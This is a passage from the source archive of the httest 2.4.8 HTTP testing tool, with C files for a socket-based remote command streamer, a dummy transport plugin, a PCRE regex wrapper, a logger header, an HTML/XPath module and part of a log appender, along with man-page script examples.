file * * @param self IN bufreader object * * @return an apr status */ static apr_status_t bufreader_fill(bufreader_t * self) { self->i = 0; self->len = BLOCK_MAX; if (self->status != APR_SUCCESS) { return self->status; } self->status = apr_file_read(self->fp, self->buf, &self->len); return self->status; } httest-2.4.8/src/htremote.c0000664000175100017510000003515712203674076012571 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* contributor license agreements. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Remote. */ /* affects include files on Solaris */ #define BSD_COMP /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include "defines.h" #include #include #include #include #include #include #include #if APR_HAVE_STDLIB_H #include /* for getpid() */ #endif #include "util.h" /************************************************************************ * Defines ***********************************************************************/ #define BLOCK_MAX 8192 #ifndef DEFAULT_THREAD_STACKSIZE #define DEFAULT_THREAD_STACKSIZE 262144 #endif #define LISTENBACKLOG_DEFAULT 511 /************************************************************************ * Typedefs ***********************************************************************/ typedef struct connection_s { const char *cmd; apr_socket_t *socket; } connection_t; typedef struct stream_s { apr_pool_t *pool; apr_file_t *file; apr_socket_t *socket; } stream_t; /************************************************************************ * Implementation ***********************************************************************/ /** * display copyright information */ apr_getopt_option_t options[] = { { "version", 'v', 0, "Print version number and exit" }, { "help", 'h', 0, "Display usage information (this message)" }, { "port", 'p', 1, "Port" }, { "command", 'e', 1, "Remote controlled command" }, { "restart", 'r', 0, "Restart after command terminates" }, { "thread", 't', 0, "Start a thread every connect and start command" }, { NULL, 0, 0, NULL } }; /** * display usage information * * @progname IN name of the programm */ static void usage(const char *progname) { int i = 0; fprintf(stdout, "%s do start a command and stream the stdin and stdout/stderr" " over a socket. The htremote do act as a server, which could be read" " line by line.\n", progname); fprintf(stdout, "\nUsage: %s [OPTIONS]\n", progname); fprintf(stdout, "\nOptions:"); while (options[i].optch) { if (options[i].optch <= 255) { fprintf(stdout, "\n -%c --%-15s %s", options[i].optch, options[i].name, options[i].description); } else { fprintf(stdout, "\n --%-15s %s", options[i].name, options[i].description); } i++; } fprintf(stdout, "\n"); fprintf(stdout, "\nDistribute httest example (httest option see httest --help): \n" "%s -p 8080 -e \"./httest -Ss\"\n", progname); } /** * Input Stream * * @param streamv IN void to stream_t * * @return 0; * * @note: thread return apr status */ static void * APR_THREAD_FUNC in_stream(apr_thread_t *self, void *streamv) { apr_status_t status; char buf[512+1]; apr_size_t len; stream_t *stream = streamv; len = 512; while ((status = apr_socket_recv(stream->socket, buf, &len)) == APR_SUCCESS) { apr_file_write(stream->file, buf, &len); len = 512; } if (len != 0) { apr_file_write(stream->file, buf, &len); } if (status == APR_EOF) { status = APR_SUCCESS; } apr_file_close(stream->file); apr_thread_exit(self, status); apr_pool_destroy(stream->pool); return 0; } /** * Output Stream * * @param streamv IN void to stream_t * * @return 0; * * @note: thread return apr status */ static void * APR_THREAD_FUNC out_stream(apr_thread_t *self, void *streamv) { apr_status_t status; char buf[512]; apr_size_t len; stream_t *stream = streamv; len = 512; while ((status = apr_file_read(stream->file, buf, &len)) == APR_SUCCESS) { int i = 0; apr_size_t l; while (i < len) { l = len - i; apr_socket_send(stream->socket, &buf[i], &l); fprintf(stdout, "%s", apr_pstrndup(stream->pool, &buf[i], l)); fflush(stdout); i += l; } len = 512; } if (len != 0) { int i = 0; apr_size_t l; while (i < len) { l = len - i; apr_socket_send(stream->socket, &buf[i], &l); i += l; } } if (status == APR_EOF) { status = APR_SUCCESS; } apr_thread_exit(self, status); apr_pool_destroy(stream->pool); return 0; } /** * Input stream to process * * @param pool IN pool * @param socket IN socket to read from * @param in IN input file desc * @param thread OUT thread handle * * @return apr status */ static apr_status_t create_in_stream(apr_socket_t *socket, apr_file_t *in, apr_thread_t **thread) { apr_status_t status; apr_threadattr_t *tattr; stream_t *stream; apr_pool_t *pool; apr_pool_create(&pool, NULL); if ((status = apr_threadattr_create(&tattr, pool)) != APR_SUCCESS) { return status; } if ((status = apr_threadattr_stacksize_set(tattr, DEFAULT_THREAD_STACKSIZE)) != APR_SUCCESS) { return status; } if ((status = apr_threadattr_detach_set(tattr, 1)) != APR_SUCCESS) { return status; } stream = apr_pcalloc(pool, sizeof(*stream)); stream->pool = pool; stream->file = in; stream->socket = socket; if ((status = apr_thread_create(thread, tattr, in_stream, stream, pool)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } /** * Output stream to process * * @param pool IN pool * @param socket IN socket to read from * @param in IN input file desc * @param thread OUT thread handle * * @return apr status */ static apr_status_t create_out_stream(apr_socket_t *socket, apr_file_t *out, apr_thread_t **thread) { apr_status_t status; apr_threadattr_t *tattr; stream_t *stream; apr_pool_t *pool; apr_pool_create(&pool, NULL); if ((status = apr_threadattr_create(&tattr, pool)) != APR_SUCCESS) { return status; } if ((status = apr_threadattr_stacksize_set(tattr, DEFAULT_THREAD_STACKSIZE)) != APR_SUCCESS) { return status; } if ((status = apr_threadattr_detach_set(tattr, 1)) != APR_SUCCESS) { return status; } stream = apr_pcalloc(pool, sizeof(*stream)); stream->pool = pool; stream->file = out; stream->socket = socket; if ((status = apr_thread_create(thread, tattr, out_stream, stream, pool)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } /** * Execute command and return proc handle * * @param pool IN pool * @param cmd IN command with args * @param proc OUT proc handler * * @return apr status */ static apr_status_t exec(apr_pool_t *pool, const char *cmd, apr_proc_t *proc) { apr_status_t status; apr_procattr_t *attr; apr_table_t *table; apr_table_entry_t *e; char *last; char *val; char *copy; const char *progname; const char **args; int i; table = apr_table_make(pool, 5); copy = apr_pstrdup(pool, cmd); progname = apr_strtok(copy, " ", &last); if (!progname) { fprintf(stderr, "No program name specified"); return APR_ENOENT; } apr_table_addn(table, progname, "TRUE"); while ((val = apr_strtok(NULL, " ", &last))) { apr_table_addn(table, val, "TRUE"); } args = apr_pcalloc(pool, (apr_table_elts(table)->nelts + 1) * sizeof(const char *)); e = (apr_table_entry_t *) apr_table_elts(table)->elts; for (i = 0; i < apr_table_elts(table)->nelts; i++) { args[i] = e[i].key; } args[i] = NULL; if ((status = apr_procattr_create(&attr, pool)) != APR_SUCCESS) { fprintf(stderr, "%s", my_status_str(pool, status)); return status; } if ((status = apr_procattr_cmdtype_set(attr, APR_SHELLCMD_ENV)) != APR_SUCCESS) { fprintf(stderr, "%s", my_status_str(pool, status)); return status; } if ((status = apr_procattr_io_set(attr, APR_FULL_BLOCK, APR_FULL_BLOCK, APR_FULL_BLOCK)) != APR_SUCCESS) { fprintf(stderr, "%s", my_status_str(pool, status)); return status; } if ((status = apr_proc_create(proc, progname, args, NULL, attr, pool)) != APR_SUCCESS) { fprintf(stderr, "%s", my_status_str(pool, status)); return status; } return APR_SUCCESS; } static void * APR_THREAD_FUNC handle_connection(apr_thread_t * thread, void *selfv) { apr_status_t status; apr_proc_t proc; apr_thread_t *thread1; apr_thread_t *thread2; apr_thread_t *thread3; apr_exit_why_e exitwhy; int exitcode = 0; apr_pool_t *pool; connection_t *conn = selfv; apr_pool_create(&pool, NULL); fprintf(stdout, "\nExec %s", conn->cmd); exec(pool, conn->cmd, &proc); fprintf(stdout, "\nStart threads"); /* start 3 threads one for in one for out and one for err */ if ((status = create_in_stream(conn->socket, proc.in, &thread1)) != APR_SUCCESS) { fprintf(stderr, "\nERROR %s\n", my_status_str(pool, status)); goto error; } if ((status = create_out_stream(conn->socket, proc.out, &thread2)) != APR_SUCCESS) { fprintf(stderr, "%s", my_status_str(pool, status)); goto error; } if ((status = create_out_stream(conn->socket, proc.err, &thread3)) != APR_SUCCESS) { fprintf(stderr, "\nERROR %s\n", my_status_str(pool, status)); goto error; } fprintf(stdout, "\nJoin command %s", conn->cmd); fflush(stdout); apr_proc_wait(&proc, &exitcode, &exitwhy, APR_WAIT); if (exitcode) { fprintf(stdout, "\nERROR %d", exitcode); goto error; } fprintf(stdout, "\n--normal end\n"); error: apr_pool_destroy(pool); return NULL; } /** * call remote controler * * @param argc IN number of arguments * @param argv IN argument array * * @return 0 if success */ int main(int argc, const char *const argv[]) { apr_status_t status; apr_getopt_t *opt; const char *optarg; int c; apr_pool_t *pool; apr_socket_t *socket; apr_socket_t *listener; apr_sockaddr_t *local_addr; #define TYPE_NONE 0 #define TYPE_RESTART 1 #define TYPE_THREADED 2 int type = TYPE_NONE; int count = 1; int i; int port = 8080; const char *cmd = ""; apr_app_initialize(&argc, &argv, NULL); apr_pool_create(&pool, NULL); /* block broken pipe signal */ #if !defined(WIN32) apr_signal_block(SIGPIPE); #endif /* get options */ apr_getopt_init(&opt, pool, argc, argv); while ((status = apr_getopt_long(opt, options, &c, &optarg)) == APR_SUCCESS) { switch (c) { case 'h': usage(filename(pool, argv[0])); exit(0); case 'v': copyright(filename(pool, argv[0])); return 0; break; case 'p': port = apr_atoi64(optarg); break; case 'e': cmd = optarg; break; case 'r': type = TYPE_RESTART; count = -1; break; case 't': type = TYPE_THREADED; count = -1; break; } } /* test for wrong options */ if (!APR_STATUS_IS_EOF(status)) { fprintf(stderr, "try \"%s --help\" to get more information\n", filename(pool, argv[0])); exit(1); } fprintf(stdout, "Start command \"%s\" on port %d\n", cmd, port); if ((status = apr_sockaddr_info_get(&local_addr, APR_ANYADDR, APR_UNSPEC, port, APR_IPV4_ADDR_OK, pool)) != APR_SUCCESS) { fprintf(stderr, "\nERROR %s\n", my_status_str(pool, status)); return status; } if ((status = apr_socket_create(&listener, APR_INET, SOCK_STREAM, APR_PROTO_TCP, pool)) != APR_SUCCESS) { fprintf(stderr, "\nERROR %s\n", my_status_str(pool, status)); return status; } status = apr_socket_opt_set(listener, APR_SO_REUSEADDR, 1); if (status != APR_SUCCESS && status != APR_ENOTIMPL) { fprintf(stderr, "\nERROR %s\n", my_status_str(pool, status)); return status; } if ((status = apr_socket_bind(listener, local_addr)) != APR_SUCCESS) { fprintf(stderr, "\nERROR %s\n", my_status_str(pool, status)); return status; } if ((status = apr_socket_listen(listener, LISTENBACKLOG_DEFAULT)) != APR_SUCCESS) { fprintf(stderr, "\nERROR %s\n", my_status_str(pool, status)); return status; } if (type != TYPE_THREADED) { for (i = 0; i != count; i++) { connection_t conn; fprintf(stdout, "\nWait for connection"); if ((status = apr_socket_accept(&socket, listener, pool)) != APR_SUCCESS) { fprintf(stderr, "\nERROR %s(%d)\n", my_status_str(pool, status), status); return status; } conn.cmd = cmd; conn.socket = socket; handle_connection(NULL, &conn); } } else { apr_threadattr_t *tattr; connection_t *conn; if ((status = apr_threadattr_create(&tattr, pool)) != APR_SUCCESS) { return status; } if ((status = apr_threadattr_stacksize_set(tattr, DEFAULT_THREAD_STACKSIZE)) != APR_SUCCESS) { return status; } if ((status = apr_threadattr_detach_set(tattr, 1)) != APR_SUCCESS) { return status; } fprintf(stdout, "\nWait for connections"); while ((status = apr_socket_accept(&socket, listener, pool)) == APR_SUCCESS) { apr_pool_t *sub_pool; apr_thread_t *thread; apr_pool_create(&sub_pool, NULL); conn = apr_pcalloc(sub_pool, sizeof(*conn)); conn->cmd = cmd; conn->socket = socket; if ((status = apr_thread_create(&thread, tattr, handle_connection, conn, sub_pool)) != APR_SUCCESS) { return status; } apr_pool_destroy(sub_pool); sub_pool = NULL; } } fprintf(stdout, "\nTerminated"); fflush(stdout); return 0; } httest-2.4.8/src/foo.c0000664000175100017510000000243212204434426011505 00000000000000 #include "htt/dso.h" #include "stdlib.h" #include "stdio.h" #include "string.h" int i = 0; const char *foo_test_val = NULL; static void* foo_custom_handle() { return &i; } static apr_status_t foo_configure(void *custom, const char *buf) { return APR_SUCCESS; } static apr_status_t foo_read(void *custom, char *buf, apr_size_t *len) { const char *str = "HTTP/1.1 200 OK\r\n\r\n"; *len = strlen(str); memcpy(buf, str, *len); return APR_SUCCESS; } static apr_status_t foo_read2(void *custom, char *buf, apr_size_t *len) { /* const char *str = "GET / HTTP/1.1\r\n\r\n"; */ char str[1024]; ++i; sprintf(str, "GET /%d HTTP/1.1 \r\n\r\n", i); *len = strlen(str); memcpy(buf, str, *len); return APR_SUCCESS; } static apr_status_t foo_write(void *custom, const char *buf, apr_size_t len) { return APR_SUCCESS; } apr_status_t foo_set(const char *string) { foo_test_val = string; return APR_SUCCESS; } apr_status_t foo_test(const char *string) { if (foo_test_val && strcmp(string, foo_test_val) == 0) { return APR_SUCCESS; } else { return APR_EINVAL; } } transport_dso_t foo_front = { foo_custom_handle, foo_configure, foo_read, foo_write }; transport_dso_t foo_back = { foo_custom_handle, foo_configure, foo_read2, foo_write }; httest-2.4.8/src/regex.c0000664000175100017510000001133512203674076012044 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool htt_regex. */ /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include "defines.h" #include "regex.h" /************************************************************************ * Definitions ***********************************************************************/ struct htt_regex_s { const char *pattern; int match; void *re_pcre; apr_size_t re_nsub; apr_size_t re_erroffset; }; #ifndef POSIX_MALLOC_THRESHOLD #define POSIX_MALLOC_THRESHOLD (10) #endif /************************************************************************ * Forward declaration ***********************************************************************/ static apr_status_t htt_regex_cleanup(void *preg); /************************************************************************ * Implementation ***********************************************************************/ /** * Compile a pattern to a regular expression * * @param p IN pool * @param pattern IN pattern to compile * @param error IN error string * @param erroff IN offset into pattern wherer compilation fails * * @return regular express on success else NULL */ htt_regex_t *htt_regexcomp(apr_pool_t * p, const char *pattern, const char **error, int *erroff) { htt_regex_t *preg = apr_palloc(p, sizeof *preg); preg->match = 0; preg->pattern = apr_pstrdup(p, pattern); preg->re_pcre = pcre_compile(pattern, 0, error, erroff, NULL); preg->re_erroffset = *erroff; if (preg->re_pcre == NULL) { return NULL; } pcre_fullinfo((const pcre *)preg->re_pcre, NULL, PCRE_INFO_CAPTURECOUNT, &(preg->re_nsub)); apr_pool_cleanup_register(p, (void *) preg, htt_regex_cleanup, apr_pool_cleanup_null); return preg; } /** * Execute a string on a compiled regular expression * * @param preg IN regular expression * @param data IN data to parse * @param len IN data length * @param nmatch IN number of matches * @param pmatch IN offest of matched substrings * @param eflags IN extended flags see pcre.h * * @return 0 on success */ int htt_regexec(htt_regex_t * preg, const char *data, apr_size_t len, apr_size_t nmatch, regmatch_t pmatch[], int eflags) { int rc; int options = 0; int *ovector = NULL; int small_ovector[POSIX_MALLOC_THRESHOLD * 3]; int allocated_ovector = 0; ((htt_regex_t *) preg)->re_erroffset = (apr_size_t) (-1); /* Only has meaning after compile */ if (nmatch > 0) { if (nmatch <= POSIX_MALLOC_THRESHOLD) { ovector = &(small_ovector[0]); } else { ovector = (int *) malloc(sizeof(int) * nmatch * 3); allocated_ovector = 1; } } rc = pcre_exec((const pcre *) preg->re_pcre, NULL, data, len, 0, options, ovector, nmatch * 3); if (rc == 0) { rc = nmatch; /* All captured slots were filled in */ } if (rc >= 0) { apr_size_t i; for (i = 0; i < (apr_size_t) rc; i++) { pmatch[i].rm_so = ovector[i * 2]; pmatch[i].rm_eo = ovector[i * 2 + 1]; } if (allocated_ovector) { free(ovector); } for (; i < nmatch; i++) pmatch[i].rm_so = pmatch[i].rm_eo = -1; ++preg->match; return 0; } else { if (allocated_ovector) { free(ovector); } return rc; } } /** * returns number of matches on this regular expression * * @param preg IN regular expression * * @return number of matches */ int htt_regexhits(htt_regex_t * preg) { return preg->match; } /** * return pattern of compiled htt_regex * @param preg IN regular expression * @return pattern */ const char *htt_regexpattern(htt_regex_t *reg) { return reg->pattern; } /** * Clean up function for pool cleanup * * @preg IN compiled regular expression * * @return APR_SUCCESS */ static apr_status_t htt_regex_cleanup(void *preg) { pcre_free(((htt_regex_t *) preg)->re_pcre); return APR_SUCCESS; } httest-2.4.8/src/httest.ext0000664000175100017510000000301412141535454012613 00000000000000[Scripts] httest is script based. The following script examples can be but into a scripte i.e. sample.htt and can be called like .nf httest sample.htt [Simple Script] Get a page and do expect return code 200 OK. .nf CLIENT _REQ www.google.ch 80 __GET /search?q=apache HTTP/1.1 __Host: www.google.ch __ _EXPECT headers "HTTP/1.1 200 OK" _WAIT END [Cut and past Script] Cut and past from a HTTP stream, i.e we cut the apache host to access it in the second request. .nf CLIENT _REQ www.google.ch 80 __GET /search?q=apache HTTP/1.1 __Host: www.google.ch __ _MATCH body '\\Welcome! - The \\Apache\\ HTTP Server Project' APACHE_HOST _WAIT _REQ $APACHE_HOST 80 __GET / HTTP/1.1 __Host: $APACHE_HOST __ _WAIT END [Client Server Script] We can hold client and server in the same host. Actually multiple client and multiple server. Very useful to test forward or reverse proxies. Or a webapplication which communicat itself with third party servers i.e. mail server. This is a very basic selfcontained test you can run on any maschine. .nf CLIENT _REQ localhost 8080 __GET /foo HTTP/1.1 __Host: localhost __ _WAIT END SERVER 8080 _RES _EXPECT "/foo" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Hello World END [SSL Script] Of course SSL do also work with httest, just put "SSL:" before port. .nf CLIENT _REQ localhost SSL:8080 __GET /foo HTTP/1.1 __Host: localhost __ _WAIT END SERVER SSL:8080 _RES _EXPECT "/foo" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Hello World END httest-2.4.8/src/logger.h0000664000175100017510000000331512204321423012177 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Interface of the HTTP Test Tool logger */ #ifndef HTTEST_LOGGER_H #define HTTEST_LOGGER_H #define LOG_NONE 0 #define LOG_ERR 1 #define LOG_INFO 2 #define LOG_CMD 3 #define LOG_ALL_CMD 4 #define LOG_DEBUG 5 #include "appender.h" typedef struct logger_s logger_t; logger_t *logger_new(apr_pool_t *pool, int mode, int id); logger_t *logger_clone(apr_pool_t *pool, logger_t *origin, int id); void logger_set_appender(logger_t *logger, appender_t *appender, const char *name, int from_mode, int to_mode); void logger_del_appender(logger_t *logger, const char *name); void logger_set_group(logger_t *logger, int group); void logger_log_va(logger_t *logger, int log_mode, const char *pos, char *fmt, va_list va); void logger_log(logger_t * logger, int log_mode, const char *pos, char *fmt, ...); void logger_log_buf(logger_t * logger, int mode, char dir, const char *buf, apr_size_t len); void logger_set_mode(logger_t *logger, int mode); int logger_get_mode(logger_t *logger); #endif httest-2.4.8/src/html_module.c0000664000175100017510000002214512205142236013232 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool html module */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" #include "libxml/HTMLparser.h" #include "libxml/xpath.h" #include "libxml/tree.h" /************************************************************************ * Definitions ***********************************************************************/ typedef struct html_wconf_s { htmlParserCtxtPtr parser_ctx; htmlDocPtr doc; xmlXPathContextPtr xpath; } html_wconf_t; #if LIBXML_VERSION < 20627 #define XML_CTXT_FINISH_DTD_0 0xabcd1234 static int htmlInitParserCtxt(worker_t *worker,htmlParserCtxtPtr ctxt) { htmlSAXHandler *sax; if (ctxt == NULL) return(-1); memset(ctxt, 0, sizeof(htmlParserCtxt)); ctxt->dict = xmlDictCreate(); if (ctxt->dict == NULL) { worker_log(worker, LOG_ERR, "htmlInitParserCtxt: out of memory\n"); return(-1); } sax = (htmlSAXHandler *) xmlMalloc(sizeof(htmlSAXHandler)); if (sax == NULL) { worker_log(worker, LOG_ERR, "htmlInitParserCtxt: out of memory\n"); return(-1); } else memset(sax, 0, sizeof(htmlSAXHandler)); ctxt->inputTab = (htmlParserInputPtr *) xmlMalloc(5 * sizeof(htmlParserInputPtr)); if (ctxt->inputTab == NULL) { worker_log(worker, LOG_ERR, "htmlInitParserCtxt: out of memory\n"); ctxt->inputNr = 0; ctxt->inputMax = 0; ctxt->input = NULL; return(-1); } ctxt->inputNr = 0; ctxt->inputMax = 5; ctxt->input = NULL; ctxt->version = NULL; ctxt->encoding = NULL; ctxt->standalone = -1; ctxt->instate = XML_PARSER_START; ctxt->nodeTab = (htmlNodePtr *) xmlMalloc(10 * sizeof(htmlNodePtr)); if (ctxt->nodeTab == NULL) { worker_log(worker, LOG_ERR, "htmlInitParserCtxt: out of memory\n"); ctxt->nodeNr = 0; ctxt->nodeMax = 0; ctxt->node = NULL; ctxt->inputNr = 0; ctxt->inputMax = 0; ctxt->input = NULL; return(-1); } ctxt->nodeNr = 0; ctxt->nodeMax = 10; ctxt->node = NULL; ctxt->nameTab = (const xmlChar **) xmlMalloc(10 * sizeof(xmlChar *)); if (ctxt->nameTab == NULL) { worker_log(worker, LOG_ERR, "htmlInitParserCtxt: out of memory\n"); ctxt->nameNr = 0; ctxt->nameMax = 10; ctxt->name = NULL; ctxt->nodeNr = 0; ctxt->nodeMax = 0; ctxt->node = NULL; ctxt->inputNr = 0; ctxt->inputMax = 0; ctxt->input = NULL; return(-1); } ctxt->nameNr = 0; ctxt->nameMax = 10; ctxt->name = NULL; if (sax == NULL) ctxt->sax = (xmlSAXHandlerPtr) &htmlDefaultSAXHandler; else { ctxt->sax = sax; memcpy(sax, &htmlDefaultSAXHandler, sizeof(xmlSAXHandlerV1)); } ctxt->userData = ctxt; ctxt->myDoc = NULL; ctxt->wellFormed = 1; ctxt->replaceEntities = 0; ctxt->linenumbers = xmlLineNumbersDefaultValue; ctxt->html = 1; ctxt->vctxt.finishDtd = XML_CTXT_FINISH_DTD_0; ctxt->vctxt.userData = ctxt; ctxt->vctxt.error = xmlParserValidityError; ctxt->vctxt.warning = xmlParserValidityWarning; ctxt->record_info = 0; ctxt->validate = 0; ctxt->nbChars = 0; ctxt->checkIndex = 0; ctxt->catalogs = NULL; xmlInitNodeInfoSeq(&ctxt->node_seq); return(0); } static htmlParserCtxtPtr htmlNewParserCtxt(worker_t *worker) { xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) xmlMalloc(sizeof(xmlParserCtxt)); if (ctxt == NULL) { worker_log(worker, LOG_ERR, "NewParserCtxt: out of memory\n"); return(NULL); } memset(ctxt, 0, sizeof(xmlParserCtxt)); if (htmlInitParserCtxt(worker,ctxt) < 0) { htmlFreeParserCtxt(ctxt); return(NULL); } return(ctxt); } #endif /************************************************************************ * Globals ***********************************************************************/ const char * html_module = "html_module"; /************************************************************************ * Local ***********************************************************************/ /** * Get html config from worker * * @param worker IN worker * @return html config */ static html_wconf_t *html_get_worker_config(worker_t *worker) { html_wconf_t *config = module_get_config(worker->config, html_module); if (config == NULL) { config = apr_pcalloc(worker->pbody, sizeof(*config)); #if LIBXML_VERSION < 20627 config->parser_ctx = htmlNewParserCtxt(worker); #else config->parser_ctx = htmlNewParserCtxt(); #endif module_set_config(worker->config, apr_pstrdup(worker->pbody, html_module), config); } return config; } /** * Convert an xpath object to string * @param worker IN callee * @param obj IN xpath object * @param pool IN pool * @return result or NULL */ static char *html_node2str(worker_t *worker, xmlXPathObjectPtr obj, apr_pool_t *pool) { char *result = NULL; switch (obj->type) { case XPATH_NODESET: if (!xmlXPathNodeSetIsEmpty(obj->nodesetval)) { int i; xmlBufferPtr buf = xmlBufferCreate(); for (i = 0; i < obj->nodesetval->nodeNr; i++) { if (i != 0 ) { xmlBufferWriteChar(buf, "\n"); } xmlNodeDump(buf, NULL, obj->nodesetval->nodeTab[i], 1, 0); } result = apr_pstrdup(pool, (char *)xmlBufferContent(buf)); xmlBufferFree(buf); } else { worker_log(worker, LOG_ERR, "Empty node set"); result = NULL; } break; case XPATH_BOOLEAN: result = apr_psprintf(pool, "%s", obj->boolval?"true":"false"); break; case XPATH_NUMBER: result = apr_psprintf(pool, "%0g", obj->floatval); break; case XPATH_STRING: result = apr_psprintf(pool, "%s", obj->stringval); break; default: worker_log(worker, LOG_ERR, "Unknown node type"); break; } return result; } /************************************************************************ * Commands ***********************************************************************/ /** * Parse HTML block * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary pool * @return apr status */ static apr_status_t block_HTML_PARSE(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { const char *param; const char *html; html_wconf_t *wconf = html_get_worker_config(worker); param = store_get(worker->params, "1"); if (!param) { worker_log(worker, LOG_ERR, "Need a html document as parameter"); return APR_EINVAL; } html = worker_get_value_from_param(worker, param, ptmp); wconf->doc = htmlCtxtReadDoc(wconf->parser_ctx, (xmlChar *)html, NULL, NULL, 0); if (!wconf->doc) { worker_log(worker, LOG_ERR, "Could not parse HTML"); return APR_EINVAL; } wconf->xpath = xmlXPathNewContext(wconf->doc); return APR_SUCCESS; } /** * Xpath query on a parsed HTML block * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary pool * @return apr status */ static apr_status_t block_HTML_XPATH(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { const char *param; const char *var; char *val; xmlXPathObjectPtr obj; html_wconf_t *wconf = html_get_worker_config(worker); param = store_get(worker->params, "1"); if (!param) { worker_log(worker, LOG_ERR, "Need a xpath query"); return APR_EINVAL; } var = store_get(worker->params, "2"); if (!var) { worker_log(worker, LOG_ERR, "Need a variable to store the result"); return APR_EINVAL; } if (!wconf->xpath) { worker_log(worker, LOG_ERR, "Do _HTML:PARSE first"); return APR_EGENERAL; } if ((obj = xmlXPathEval((xmlChar *) param, wconf->xpath)) == NULL) { worker_log(worker, LOG_ERR, "Xpath error"); return APR_EGENERAL; } val = html_node2str(worker, obj, ptmp); if (!val) { return APR_ENOENT; } worker_var_set(parent, var, val); return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t html_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "HTML", "_PARSE", "", "Parse HTML", block_HTML_PARSE)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "HTML", "_XPATH", "", "Return requested object", block_HTML_XPATH)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } httest-2.4.8/src/appender.c0000664000175100017510000000764212203674076012536 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool log appender. */ /************************************************************************ * Includes ***********************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "defines.h" #include "util.h" #include "replacer.h" #include "regex.h" #include "file.h" #include "transport.h" #include "socket.h" #include "worker.h" #include "appender.h" /************************************************************************ * Definitions ***********************************************************************/ struct appender_s { printer_f printer; void *user_data; apr_thread_mutex_t *mutex; }; /************************************************************************ * Forward declaration ***********************************************************************/ /************************************************************************ * Implementation ***********************************************************************/ /** * Constructor for log appender * @param pool IN pool * @param printer IN printer function * @param user_data IN user_data for printing * @return appender */ appender_t *appender_new(apr_pool_t *pool, printer_f printer, void *user_data) { appender_t *appender = apr_pcalloc(pool, sizeof(*appender)); appender->user_data = user_data; appender->printer = printer; return appender; } /** * Get user data * @param appender IN instance * @return user_data pointer */ void *appender_get_user_data(appender_t *appender) { return appender->user_data; } /** * Set mutex to std appender * @param appender IN appender instance * @param mutex IN mutex * @note: If set to NULL, no lock can be draw */ void appender_set_mutex(appender_t *appender, apr_thread_mutex_t *mutex) { appender->mutex = mutex; } /** * Get registered mutex * @param appender IN appender instance * @return mutex */ apr_thread_mutex_t *appender_get_mutex(appender_t *appender) { return appender->mutex; } void appender_lock(appender_t *appender) { if (appender->mutex) apr_thread_mutex_lock(appender->mutex); } void appender_unlock(appender_t *appender) { if (appender->mutex) apr_thread_mutex_unlock(appender->mutex); } /** * Print buf * @param appender IN appender instance * @param mode IN one of the defined mode int logger.h * @param pos IN filename and position or NULL if none * @param thread IN thread id * @param group IN group id * @param dir IN <,>,+,= * @param custom IN custom string may be NULL * @param buf IN buffer to print * @param len IN buffer length */ void appender_print(appender_t *appender, int mode, const char *pos, int thread, int group, char dir, const char *custom, const char *buf, apr_size_t len) { if 